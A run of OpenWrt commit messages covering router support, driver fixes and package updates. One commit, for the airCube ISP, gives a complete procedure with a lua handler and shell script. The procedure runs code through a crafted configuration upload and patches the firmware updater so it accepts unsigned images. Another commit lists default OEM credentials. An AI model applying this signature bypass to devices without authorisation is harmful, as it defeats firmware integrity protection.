Signed-off-by: Yong-hyu Ban <perillamint@quendi.moe>
[do not enable xhci node in DTS which is already enabled in DTSI]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The MAC address on the label of this device corresponds to the
2.4 GHz and ethernet MAC address.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Add call to fclose for file pointer fp in function t_openpw.
The resource leak could happen during an error handling.
Signed-off-by: Andrea Dalla Costa <andrea@dallacosta.me>
Currently this device fails to boot with the OpenWrt snapshot images
(release images are unaffected). The error message is:
"LZMA ERROR 1 - must RESET board to recover".
This happens because the kernel image is too big for the bootloader
to boot. This commit works around this by decreasing the lzma dictionary
size option from the default 23 to 10.
Before this change the current OpenWrt snapshot image (uncompressed
kernel size 4875139 bytes) failed to boot, while now an even bigger
image (kernel 4.19 with snapshot default config; uncompressed kernel
size 5162833 bytes) boots just fine.
The highest lzma dictionary size option this image booted with was 11.
10 was chosen to have a bit more room for growth.
An unavoidable side-effect of this change is that the compressed kernel
image will take up more space.
Total image size with different dictionary size options:
D23 - 3973903 bytes (base)
D16 - 4113167 bytes (+3.5% - +139264 bytes)
D12 - 4317967 bytes (+8.7% - +344064 bytes)
D11 - 4383503 bytes (+10.3% - +409600 bytes)
D10 - 4461327 bytes (+12.3% - +487424 bytes)
Fixes: FS#1484
Signed-off-by: Mason Clarke <mclarke2355@gmail.com>
78cd384 Update README and patchlevel.h for 2.4.8 release
5d03403 pppd: Avoid use of strnlen (and strlen) in vslprintf
a1e950a pppd: Fix IPv6 default route code for Solaris
ca5e61b plugins/rp-pppoe: Make tag parsing loop condition more accurate
c10c3c7 pppd: Make sure word read from options file is null-terminated
b311e98 pppd: Limit memory accessed by string formats with max length specified
3ea9de9 pppd: Eliminate some more compiler warnings
57edb1a pppd: Include time.h header before using time_t
09f695f pppd: Don't free static string
03104ba pppd.h: Add missing headers
388597e pppd: Add defaultroute6 and related options
66ce4ba pppd: Avoid declarations within statements in main.c
5637180 pppd: Fix `ifname` option in case of multilink (#105)
d00f8a0 pppd: Fix variable reference syntax in Makefile.linux
b6b4d28 pppd: Check tdb pointer before closing
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
If CONFIG_DROPBEAR_ZLIB is set, building fails at the packaging stage
due to an undeclared dependency on libz.so.1.
As is already done for the main dropbear package, conditionally add a
dependency on zlib.
Signed-off-by: Matt Merhar <mattmerhar@protonmail.com>
Both devices are available in 64M and 128M RAM configurations but there
is no visial indication which configuration one might get.
So just to be sure we properly support both configurations switch to
kmod-atk10k-ct-smallbuffers.
Signed-off-by: Christoph Krapp <achterin@googlemail.com>
It seems the buildbots can't handle it.
Added a cmake option to find the cxxabi files as they are part of the
toolchain and not in the normal path. It doesn't seem to make a
difference, just gets rid of cmake warnings.
Added another small GCC warning fix. It's fairly minor.
This has no change in compiled size, and most likely no change in
behavior. Bumped the PKG_RELEASE anyway.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Currently the patch only changes break to use goto statement instead.
But not necessary acutually since the ret value checked after the for loop.
So it is okay for the break case before changed by the patch also.
This patch only reverts the following commit partially.
https://github.com/openwrt/openwrt/commit/ddc11c3932c7b7b7df7d5fbd48f207e7
Note: The changes are mainly applied into the linux kernel upstream.
Signed-off-by: Tokunori Ikegami <ikegami.t@gmail.com>
Cc: Koen Vandeputte <koen.vandeputte@ncentric.com>
Currently the patch only changes break to use goto statement instead.
But not necessary acutually since the ret value checked after the for loop.
So it is okay for the break case before changed by the patch also.
This patch only reverts the following commit partially.
ddc11c3932
Note: The changes are mainly applied into the linux kernel upstream.
Signed-off-by: Tokunori Ikegami <ikegami.t@gmail.com>
Cc: Koen Vandeputte <koen.vandeputte@ncentric.com>
These two hacks are no longer necessary as they've
been moved to a special variant of kmod-ath10k-ct.
So, if you have a device suffering from low-memory
situation and getting applications crashes due to
the OOM reaper or kernel panics with ath10k, please
use the "kmod-ath10k-ct-smallbuffers" package from
now on.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Images generated for the TP-Link RE200v1 cannot be updated using
sysupgrade, because a necessary call to append-metadata was missing.
Signed-off-by: Andreas Böhler <dev@aboehler.at>
Edimax RA21S is a dual band 11ac router,
based on MediaTek MT7621A and MT7615N chips.
Specification:
- SoC: MediaTek MT7621A dual-core @ 880MHz
- RAM: 256M (Nanya NT5CC128M16IP)
- FLASH: 16MB (Macronix MX25L12835F)
- WiFi: 2.4/5 GHz 4T4R
- 2.4GHz MediaTek MT7615N bgn
- 5GHz MediaTek MT7615N nac
- Switch: SoC integrated Gigabit Switch (4 x LAN, 1 x WAN)
- USB: No
- BTN: Reset, WPS
- LED: 4 red LEDs, indistinguishable when case closed
- UART: through-hole on PCB.
J1: 3.3V - RX - GND - TX / 57600-8N1. 3.3V is the square pad
Installation:
Update the factory image via the OEM web-interface
(by default: http://192.168.2.1/)
User: admin
Password: 1234
The sysupgrade image can be installed via TFTP
from the U-Boot bootloader. Connect via ethernet port 2.
Tested on device by @UAb5eSMn
Signed-off-by: Maksym Medvedev <redrathnure@gmail.com>
[split DTS and take over improvements from RG21S, extend commit
message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
330-MIPS-kexec-Accept-command-line-parameters-from-users.patch causes
problems when building with -Werror=unused-result.
arch/mips/kernel/machine_kexec.c: In function 'machine_kexec_init_argv':
arch/mips/kernel/machine_kexec.c:76:2: error: ignoring return value of 'copy_from_user', declared with attribute warn_unused_result [-Werror=unused-result]
copy_from_user(kexec_argv_buf, buf, size);
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cc1: all warnings being treated as errors
Fix this by handling the return value in an appropriate way.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
iperf2 is useful for testing UDP over multicast, add an option to permit
the enabling/disabling of multicast support.
Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
CONFIG_PINCTRL_SUN4I_A10 controls both the A10 and the A20 enablong of
the pinctrl driver, this is necessary since upstream commit
5d8d349618a9464714c07414c5888bfd9416638f ("pinctrl: sunxi: add A20
support to A10 driver") which has been included in v4.13 and onwards.
Fixes: ad2b3bf310 ("sunxi: Add support for kernel 4.14")
Signed-off-by: Florian Fainelli <f.fainelli@gmail.com>
Shared base-files package contains functions for LED migration that
are already used by several targets. Apply those also to lantiq and
drop the (redundant) local code.
While at it, reorder board names in file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The only device in samsung target is meant to be built with s5pv210
subtarget. Thus, though this won't make a difference for a
one-subtarget target, already add the condition to the Makefile to
make the assignment obvious.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch changes the samsung target to calculate the DTS file name
from vendor and device name and the SOC (i.e. subtarget) following
the common scheme:
soc_vendor_model.dts
This also updates the device definition name to make compatible,
image name, menuconfig name and DTS name consistent.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The TP-Link Archer C20i previously had a generic Ralink MAC address set
for both radios, as the caldata does only contain a generic MAC address.
Set the MAC address from the vendor firmware for both radios to assign
unique MAC addresses to every device.
Signed-off-by: David Bauer <mail@david-bauer.net>
The TP-Link Archer C2 v1 previously had a generic Ralink MAC address set
for the 5GHz radio (MT7610), as the caldata does only contain a generic
MAC address.
Set the MAC address from the vendor firmware for the 5GHz radio to
assign unique MAC addresses to every device.
Signed-off-by: David Bauer <mail@david-bauer.net>
Use the WPS LED to indicate system status like it is done for the
TP-Link Archer C2 v1 and many other boards.
Signed-off-by: David Bauer <mail@david-bauer.net>
This converts all MediaTek MT7620 boards from TP-Link to use the now
supported WiFi throughput LED trigger. This way, the LED state now
covers all VAPs regardless of their name.
Also align all single-WiFi LEDs to represent the state of the 2.4GHz
radio. This was not always the case previously, as later-added support
for the MT7610 altered the phy probing order.
Signed-off-by: David Bauer <mail@david-bauer.net>
Changed standard to 2a. 2a (as well as 17) contain more constexpr
functions, which are evaluated at compile time. This saves space.
Added --gc-sections. With the CXXABI change, this now makes the package
smaller.
With these, size went down to 210845 on mipsel_24kc.
Also fixed two small compiler warnings. No real change in behavior.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Allows proper exception handling. This includes removing unimplemented
warnings.
File size increased as a result:
Before:
182874
After:
211006
On mipsel_24kc.
Note that this requires libsupc++ anyway. It's specified in g++-libcxx.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
HC5661 does not have 5GHz WiFi or LED.
Fixes: e6e373d348 ("ramips: Add DTS files for HiWiFi HC5x61 models")
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
TP-Link RE200 v1 is a wireless range extender with Ethernet and 2.4G and 5G
WiFi with internal antennas. It's based on MediaTek MT7620A+MT7610EN.
Specifications
--------------
- MediaTek MT7620A (580 Mhz)
- 64 MB of RAM
- 8 MB of FLASH
- 2T2R 2.4 GHz and 1T1R 5 GHz
- 1x 10/100 Mbps Ethernet
- UART header on PCB (57600 8n1)
- 8x LED (GPIO-controlled; only 6 supported), 2x button
There are 2.4G and 5G LEDs in red and green which are controlled
separately. The 5G LED is currently not supported, since the GPIOs couldn't
be determined.
Installation
------------
Web Interface
-------------
It is possible to upgrade to OpenWrt via the web interface. However, the
OEM firmware upgrade file is required and a tool to fix the MD5 sum of
the header. This procedure overwrites U-Boot and there is not failsafe /
recovery mode present! To prepare an image, you need to take the header
and U-Boot (i.e. 0x200 + 0x20000 bytes) from an OEM firmware file and
attach the factory image to it. Then fix the header MD5Sum1.
Serial console
--------------
Opening the case is quite hard, since it is welded together. Rename the
OpenWrt factory image to "test.bin", then plug in the device and quickly
press "2" to enter flash mode (no line feed). Follow the prompts until
OpenWrt is installed.
Unfortunately, this devices does not offer a recovery mode or a tftp
installation method. If the web interface upgrade fails, you have to open
your device and attach serial console. Since the web upgrade overwrites
the boot loader, you might also brick your device.
Additional notes
----------------
MAC address assignment is based on stock-firmware. For me, the device
assigns the MAC on the label to Ethernet and the 2.4G WiFi, while the 5G
WiFi has a separate MAC with +2.
*:88 Ethernet/2.4G label, uboot 0x1fc00, userconfig 0x0158
*:89 unused userconfig 0x0160
*:8A 5G not present in flash
This seems to be the first ramips device with a TP-Link v1 header. The
original firmware has the string "EU" embedded, there might be some region-
checking going on during the firmware upgrade process. The original
firmware also contains U-Boot and thus overwrites the boot loader during
upgrade.
In order to flash back to stock, the first header and U-Boot need to be
stripped from the original firmware.
Signed-off-by: Andreas Böhler <dev@aboehler.at>
MiWiFi Nano has two LAN ports, which are in reverse order. Add port numbers
to them, and disable unused ports.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
This replaces deprecated backticks by more versatile $(...) syntax.
Found with shellcheck.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[adjust commit title and message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces deprecated backticks by more versatile $(...) syntax.
Found with shellcheck.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[slightly adjusted commit title, added commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Handle both variants separately. This removes the need for calling
swconfig to detect the switch, and simplifies future changes.
Signed-off-by: Josua Mayer <josua.mayer@jm0.eu>
This adds a "factory" image for the aircube-isp devices. Note that the
firmware can't be uploaded without prior special preparation. For the
most recent instructions on how to do that, visit the OpenWRT wiki page
of the Ubiquiti airCube ISP for details:
https://openwrt.org/toh/ubiquiti/ubiquiti_aircube_isp
Current procedure:
With the original firmware 2.5.0 it is possible to upload and execute a
script via the configuration. To do that download and unpack the
original configuration, adapt uhttpd config to execute another lua
handler (placed in the config directory) and pack and upload it again.
The lua handler can call a script that mounts an overlayfs and modifies
the "fwupdate.real" binary so that an unsigned image is accepted. The
overlayfs is necessary because a security system (called tomoyo) doesn't
allow binaries in other locations than /sbin/fwupdate.real (and maybe
some more) to access the flash when executed via network.
A big thanks to Torvald Menningen (Snap) from the OpenWRT forum for
finding out how to patch the binary so that it accepts an unsigned
image.
The current step-by-step procedure is:
- Use a version 2.5.0 of the original firmware. This is important
because a binary file will be modified.
- Download a configuration.
- Unpack it (it's just a tar gz file without an ending).
- Add the following to uhttpd:
``````
config 'uhttpd' 'other'
list listen_http 0.0.0.0:8080
list listen_http [::]:8080
option 'home' '/tmp/persistent/config/patch/www'
option lua_prefix '/lua'
option lua_handler '/tmp/persistent/config/patch/handler.lua'
``````
- Create a `patch` subfolder.
- Create a `patch/www` subfolder.
- Create a `patch/handler.lua` with the following content:
``````
function handle_request(env)
uhttpd.send("Status: 200 OK\r\n")
uhttpd.send("Content-Type: text/plain\r\n\r\n")
local command = "/bin/sh /tmp/persistent/config/patch/patch.sh 2>&1"
local proc = assert(io.popen(command))
for line in proc:lines() do
uhttpd.send(line.."\r\n")
end
proc:close()
end
``````
- Create a `patch/patch.sh` with the following content:
``````
#!/bin/sh -x
set -e
set -u
set -x
UBNTBOX_PATCHED="/tmp/fwupdate.real"
MD5FILE="/tmp/patchmd5"
cat <<EOF > ${MD5FILE}
c33235322da5baca5a7b237c09bc8df1 /sbin/fwupdate.real
EOF
# check md5 of files that will be patched
if ! md5sum -c ${MD5FILE}
then
echo "******** Error when checking files. Refuse to do anything. ********"
exit 0
fi
# prepare some overlay functionality
LOWERDIR="/tmp/lower_root"
mkdir -p ${LOWERDIR}
mount -t squashfs -oro /dev/mtdblock3 ${LOWERDIR}
overlay_some_path()
{
PATH_TO_OVERLAY=$1
ALIAS=$2
UPPERDIR="/tmp/over_${ALIAS}"
WORKDIR="/tmp/over_${ALIAS}_work"
mkdir -p ${UPPERDIR}
mkdir -p ${WORKDIR}
mount -t overlay -o lowerdir=${LOWERDIR}${PATH_TO_OVERLAY},upperdir=${UPPERDIR},workdir=${WORKDIR} overlay ${PATH_TO_OVERLAY}
}
# patch the ubntbox binary.
overlay_some_path "/sbin" "sbin"
echo -en '\x10' | dd of=/sbin/fwupdate.real conv=notrunc bs=1 count=1 seek=24598
echo "******** Done ********"
``````
- Repack the configuration.
- Upload it via the normal web interface.
- Wait about a minute. The webserver should restart.
- Now there is a second web server at port 8080 which can call the lua
script. Visit the page with a web browser. Link is for example
http://192.168.1.1:8080/lua
- You should see the output of the script with a "*** Done ***" at the
end. Note that the patches are not permanent. If you restart the
router you have to re-visit the link (but not re-upload the config).
- Now you can upload an unsigned binary via the normal web interface.
Signed-off-by: Christian Mauderer <oss@c-mauderer.de>
Convert leading spaces to tabs and generally harmonize leading
whitespace indent in the file.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
No bash features are actually used here.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[slightly adjust commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
There is nothing that needs bash anymore.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[add prefix to commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces deprecated backticks by more versatile $(...) syntax.
Found with shellcheck.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[adjust commit title and message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces deprecated backticks by more versatile $(...) syntax.
Found with shellcheck.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[alter commit title, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Enables proper checking. Matches printf behavior in C.
Found with shellcheck.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[add prefix to commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
let is a bashism.
Found with shellcheck.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[add prefix to commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This reverts commit 10cbc896c0.
The updated iptables package does not build due to the following error
encountered on the buildbots:
cp: cannot stat '.../iptables-1.8.4/ipkg-install/usr/lib/libiptc.so.*': No such file or directory
The changelog mentions "build: remove -Wl,--no-as-needed and libiptc.so" so
it appears as if further packaging changes are needed beyond a simple
version bump.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Setting user and group for a jailed process caused the jail not to
come up. Fix this by passing user and group to ujail and change
user only once the jail has been setup.
This allows jailing services which refuse to run as root user.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This adds an LED trigger for the WAN LED on top of the TP-Link
TL-WR902AC v3. Currently, only the LED on the port itself shows the link
state, while the LED on top of the device stays dark.
The WAN port of the device is a hybrid LAN/WAN one, hence why the LED at
the port was labled LAN.
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds a (currently missing) throughput LED trigger for the rt2x00
driver. Previously, LED triggers had to be assigned to the netdev, which
was limited to a single VAP.
Signed-off-by: David Bauer <mail@david-bauer.net>
Tested-by: Christoph Krapp <achterin@googlemail.com>
b30e0df kmodloader: print an error when no kernel module dir can be found
17689b6 logread: add option to filter for facilities
c9ffeac kmodloader: added -v arg to modeprobe
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
This patch uses the SOC variable to calculate DTS names automatically
based on the SOC and the device definition node name.
This reduces redundancy and (by having to choose DTS name
appropriately) will unify the naming of a device in different places
(image/Makefile, DTS name, compatible, image name). This is supposed
to make life easier for developers and reviewers.
Since the kernel uses a "soc-device.dts" scheme for this target, we
use this for the derivation of DEVICE_DTS, too, leaving the DTS names
unchanged for this target.
Note that for some devices the kernel itself uses inconsistent names
(DTS naming scheme vs. compatible), leaving us with a manual overwrite
of DEVICE_DTS for those cases.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch uses the SOC variable to calculate DTS names automatically
based on the SOC and the device definition node name.
This reduces redundancy and (by having to choose DTS name
appropriately) will unify the naming of a device in different places
(image/Makefile, DTS name, compatible, image name). This is supposed
to make life easier for developers and reviewers.
Since the kernel uses a "soc-device.dts" scheme for this target, we
use this for the derivation of DEVICE_DTS, too, and rename the files
not having followed it so far.
Note that for some devices the kernel itself is inconsistent, leaving
us with a manual overwrite for ap.dk01.1-c1 and ap.dk04.1-c1.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Several devices in mt76x8 subtarget use the following line to set
up wmac in their DTS(I) files:
ralink,mtd-eeprom = <&factory 0x4>
This is strange for several reasons:
- They should use mediatek,mtd-eeprom on this SOC
- The caldata is supposed to start at 0x0
- The parent DTSI mt7628an.dtsi specifies mediatek,mtd-eeprom anyway,
starting from 0x0
- The offset coincides with the default location of the MAC address
in caldata
Based on the comment in b28e94d4bf ("ramips: MiWiFi Nano fixes"),
it looks like the author for this device wanted to actually use
mtd-mac-address instead of ralink,mtd-eeprom. A check on the same
device revealed that actually the MAC address start at offset 4 there,
so the correct caldata offset is 0x0.
Based on these findings, and the fact that the expected location on
this SOC is 0x0, we remove the "ralink,mtd-eeprom = <&factory 0x4>"
statement from all devices in ramips (being only mt7628an anyway).
Thanks to Sungbo Eo for finding and researching this.
Reported-by: Sungbo Eo <mans0n@gorani.run>
Fixes: b28e94d4bf ("ramips: MiWiFi Nano fixes")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
As announced on the mailing list, WireGuard will be in Linux 5.6. As a
result, the wg(8) tool, used by OpenWRT in the same manner as ip(8), is
moving to its own wireguard-tools repo. Meanwhile, the out-of-tree
kernel module for kernels 3.10 - 5.5 moved to its own wireguard-linux-
compat repo. Yesterday, releases were cut out of these repos, so this
commit bumps packages to match. Since wg(8) and the compat kernel module
are versioned and released separately, we create a wireguard-tools
Makefile to contain the source for the new tools repo. Later, when
OpenWRT moves permanently to Linux 5.6, we'll drop the original module
package, leaving only the tools. So this commit shuffles the build
definition around a bit but is basically the same idea as before.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
2a0a19168dce mt7603: remove vif sta from poll list on interface remove
dc14ac64e7f3 mt7615: remove vif sta from poll list on interface remove
d868638fdd96 mt76: remove obsolete .add_buf() from struct mt76_queue_ops
50b1e9bd25cd mt76: refactor cc_lock locking scheme
1987b741dac2 mt76: mt76x0: remove 350ms delay in mt76x0_phy_calibrate
c93a2d1c1304 mt76: mt76x02u: update ewma pkt len in mt76x02u_tx_prepare_skb
58e1e969f03e mt76: mt7615: remove unneeded semicolon
c14d6563c492 mt76: mt76x2e: disable pcie_aspm by default
f2be00b1011a mt76: dma: fix buffer unmap with non-linear skbs
20f05897873a mt76: mt76u: rely on usb_interface instead of usb_dev
3cbaf81a185e mt76: mt76u: rely on a dedicated stats workqueue
ea19cd7ac6c6 mt76: Remove set but not used variable 'idx'
a85c06cec844 mt76: use mt76_dev in mt76_is_{mmio,usb}
e0731a82a14f mt76: move SUPPORTS_REORDERING_BUFFER hw property in mt76_register_device
cfdb75124e7c mt76: mt7615: add ibss support
e2f90adcc3b1 mt76: move interface_modes definition in mt76_core module
5dfb0ec9c6d1 mt76: mt7615: disable radar pattern detector during scanning
7121e163c068 mt76: fix possible out-of-bound access in mt7615_fill_txs/mt7603_fill_txs
db78ee08d95e mt76: move mt76_get_antenna in mt76_core module
faf5e6fedd7e mt76: mt7615: read {tx,rx} mask from eeprom
44825e88a42d mt76: use rcu_read_lock_bh in mt76_dma_rx_poll
af83ee8de928 mt76: move initialization of some struct members to mt76_alloc_device
6493e234b40d mt76: introduce struct mt76_phy
ea46624355ec mt76: add support for an extra wiphy in the rx path
c5f1e83e30d4 mt76: add support for an extra wiphy in the main tx path
1d8011871458 mt76: add support for an extra wiphy in the tx status path
e5e755a7a6b0 mt76: add support for an extra wiphy in mt76_sta_state()
ee36c8e2170f mt76: move channel state to struct mt76_phy
d246beb23350 mt76: keep a set of software tx queues per phy
a3e88bcf17e8 mt76: move state from struct mt76_dev to mt76_phy
9cda51d195db mt76: move chainmask back to driver specific structs
df74d6993383 mt76: move txpower_conf back to driver specific structs
9e95fa6208a2 mt76: move txpower and antenna mask to struct mt76_phy
502d09a6e806 mt76: add multiple wiphy support to mt76_get_min_avg_rssi
842cae558b82 mt76: add priv pointer to struct mt76_phy
8ca04846857b mt76: add function for allocating an external wiphy
04cd17a64520 mt76: add ext_phy field to struct mt76_wcid
1c8d69e7d666 mt76: move ampdu_ref from mt76_dev to driver struct
e6659d12d01e mt76: mt7615: add dual-phy support for mac80211 ops
e5ea72ac7158 mt76: mt7615: add multiple wiphy support for smart carrier sense
bdcd45dd04e0 mt76: mt7615: add missing register init for dual-wiphy support
0954c37d015f mt76: mt7615: remove useless MT_HW_RDD0/1 enum
705a0fcdc3a5 mt76: mt7615: add multiple wiphy support to the dfs support code
849fefacc48a mt76: mt7615: rework chainmask handling
caa47af1d6f2 mt76: mt7615: add multiple wiphy support to the rx path
c5585a735864 mt76: mt7615: initialize dbdc settings on interface add
6265fd1954d7 mt76: mt7615: move radio/mac initialization to .start/stop callbacks
5725d1f919ff mt76: mt7615: select the correct tx queue for frames sent to the second phy
993683d62fb7 mt76: mt7615: add support for registering a second wiphy via debugfs
1456a53ddeb3 mt76: mt7615: update beacon contents on BSS_CHANGED_BEACON
ea41ad8bdb36 mt76: mt7615: defer mcu initialization via workqueue
59de6c9447a7 mt7615: replace sta_state callback with sta_add/sta_remove
88db676f8517 mt76: fix rx dma ring descriptor state on reset
fff2c07193bb Revert "mt76: use rcu_read_lock_bh in mt76_dma_rx_poll"
b3bf83d6da1c mt76: disable bh in mt76_dma_rx_poll
efcbee1d8bfc mt76: mt76x0u: do not reset radio on resume
5dc6f6fcc027 treewide: Replace GPLv2 boilerplate/reference with SPDX - rule 174
84554a1fbb9a kernel: fix typos and some coding style in comments
a116b0a6afe9 mt76: fix possible undetected invalid MAC address
becdec318fce mt76: Off by one in mt76_calc_rx_airtime()
683eb244fa55 mt76: mt7603: reset STA_CCA counter setting the channel
812692db171c mt76: eeprom: add support for big endian eeprom partition
8b362382b10c mt76: mt7615: Fix build with older compilers
fc24815a2cb4 mt76: mt7615: report firmware version using ethtool
5cec93d57e6d mt76: mt76x02: fix coverage_class type
9354f0f41d1c mt76: mt7603: set 0 as min coverage_class value
a589d095eeb6 mt76: mt7615: add set_coverage class support
257c19f5b56f mt76: clear skb pointers from rx aggregation reorder buffer during cleanup
05c87a33831f mt76: do not overwrite max_tx_fragments if it has been set
05fa07c667f3 mt76: use AC specific reorder timeout
3ef5f3444a94 mt76: mt7615: measure channel noise and report it via survey
726fd501651a mt76: mt7615: increase MCU command timeout
99d8cd03edfa mt76: mt7603: fix input validation issues for powersave-filtered frames
32129af2604d net/wireless: Delete unnecessary checks before the macro call “dev_kfree_skb”
85a8abf80385 mt76: mt76x02: omit beacon slot clearing
8b5d3615e1c8 mt76: mt76x02: split beaconing
dc364547d91a mt76: mt76x02: add check for invalid vif idx
462a16e185e4 mt76: mt76x02: remove a copy call for usb speedup
fa24aba4c280 mt76: speed up usb bulk copy
6a84ad21306e mt76: mt76x02: add channel switch support for usb interfaces
09fcbc214b10 mt76: usb: use max packet length for m76u_copy
584c0784e019 mt76: mt76x02u: do not set NULL beacons
ca17e5657e8a mt76: mt76x02: minor mt76x02_mac_set_beacon optimization
d5fdd2e7ced8 mt76: mt7615: fix MT7615_CFEND_RATE_DEFAULT value
ae25a4bf99a9 mt76: mt7615: introduce LED support
cd759b00cc06 mt76: mt76x02: simplify led reg definitions
cf00467c5de4 mt76: mt7603: simplify led reg definitions
1c8e76f4de3e mt76: fix compilation warning in mt76_eeprom_override()
960f5cc2390b mt76: mt76u: fix endpoint definition order
15e1c29ed8e3 mt76: mt7615: add missing settings for simultaneous dual-band support
e09b9f61eeb3 mt76: mt7615: rework set_channel function
4cb1195a1530 mt76: mt7615: add set_antenna callback
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Physically allocated memory for modules needs to be registered with kmemleak,
so it can track it as object.
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Contains following changes:
a1523d76b016 fix blob parsing vulnerability by using blob_parse_untrusted
c60583743ccf ubus_monitor: workaround possibly false positive uses of memory after it is freed
dac6c7c575ac ubusd_monitor: fix possible null pointer dereference
060dfbb26da3 ubus_common: remove duplicate ARRAY_SIZE and add missing include
c5f2053dfcfd workaround possibly false positive uses of memory after it is freed
72be8e93f07d lua: ubus_lua_do_subscribe: fix copy&paste error
a995b1e68129 lua: workaround false positive dereference of null pointer
08f17c87a000 add fuzzer and cram based unit tests
c413be9b376c refactor ubusd.c into reusable ubusd_library
afd47189e864 examples: remove dead increments
b2e544238672 add initial GitLab CI support
058f4e9526ed libubus: fix incompatible pointer types assigment
d2e026a33df8 iron out all extra compiler warnings
5d7ca8309d0a ubusd/libubus-io: fix variable sized struct position warning
d61282db5640 ubusd: fix comparison of integers of different signs
90fb16234c22 cmake: enable extra compiler checks
and bumps ABI_VERSION to 20191219.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
14a279411cff fix certificate blob parsing vulnerability by using blob_parse_untrusted
19a7225ac018 fix leaking memory in cert_dump_blob
9dba44ddd4f5 fix possibly garbage value returned in cert_process_revoker
4462ff9dedfa add cram based unit tests
5fe64b5606aa cmake: split usign bits into static library
5d7626a2b6d8 cmake: reindent the file
e284ed941972 cmake: enable hardening compiler flags and fix the reported issues
7e5390666347 add initial GitLab CI support
fa0bf4ef45b1 cmake: add proper include and library dependencies
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Contains following changes:
eb7eb6393d47 blobmsg: fix array out of bounds GCC 10 warning
86f6a5b8d1f1 blobmsg: reuse blobmsg_namelen in blobmsg_data
586ce031eaa0 tests: fuzz: fuzz _len variants of checking methods
b0e21553ae8c blobmsg: add _len variants for all attribute checking methods
cd3059796a57 Replace use of blobmsg_check_attr by blobmsg_check_attr_len
143303149c8b Ensure blob_attr length check does not perform out of bounds reads
f2b2ee441adb blobmsg: fix heap buffer overflow in blobmsg_parse
4dfd24ed88c4 blobmsg: make blobmsg_len and blobmsg_data_len return unsigned value
2df6d35e3299 tests: add test cases for blobmsg parsing
8a34788b46c4 test: fuzz: add blobmsg_check_attr crashes
478597b9f9ae blob: fix OOB access in blob_check_type
325418a7a3c0 tests: use blob_parse_untrusted variant
0b24e24b93e1 blob: introduce blob_parse_untrusted
6d27336e4a8b blob: refactor attr parsing into separate function
833d25797b16 test: fuzz: add blob_parse crashes
09ee90f8d6ed tests: add test cases for blob parsing
436d6363a10b tests: add libFuzzer based tests
bf680707acfd tests: add unit tests covered with Clang sanitizers
f804578847de cmake: add more hardening compiler flags
46f8268b4b5b blobmsg/ulog: fix format string compiler warnings
eb216a952407 cmake: use extra compiler warnings only on gcc6+
and bumps ABI_VERSION to 20191226.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
We have only 11 sensors on ipq806x. Fix the reg property
to load the right amount of data instead of the entire
space.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
Tsense driver for ipq806x have various problem.
- Emit wrong error. On probing of this driver, nvmem driver can be
not ready and this cause a EDEFER error. Actually this is not an
error as the kernel will retry to probe the driver after the
nvmem driver is loaded.
- Use uninitialized value on trigger of critical temp
- Doesn't free allocated memory
Because of this, rework the driver and improve it by removing extra
load of data.
Change the logic of loading data. Use the backup calib data only
when the calib data is not present. As the calibration is only
needed to set the temp offset, we don't really need to read
both calib data and set the offset based only on the backup one.
Also change how the notifier function work. At times when we
output the trigger message, we already have read the temp so
remove the extra read and the wrong uninitialized data that
probably caused a kernel panic for null pointer exception.
(Think we never experience this bug because the router
never reached that temp ever... So just lucky)
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
The config name for cpufreq driver has changed.
Tested-by: Stefan Lippers-Hollmann <s.l-h@gmx.de> [nbg6817/ipq8065]
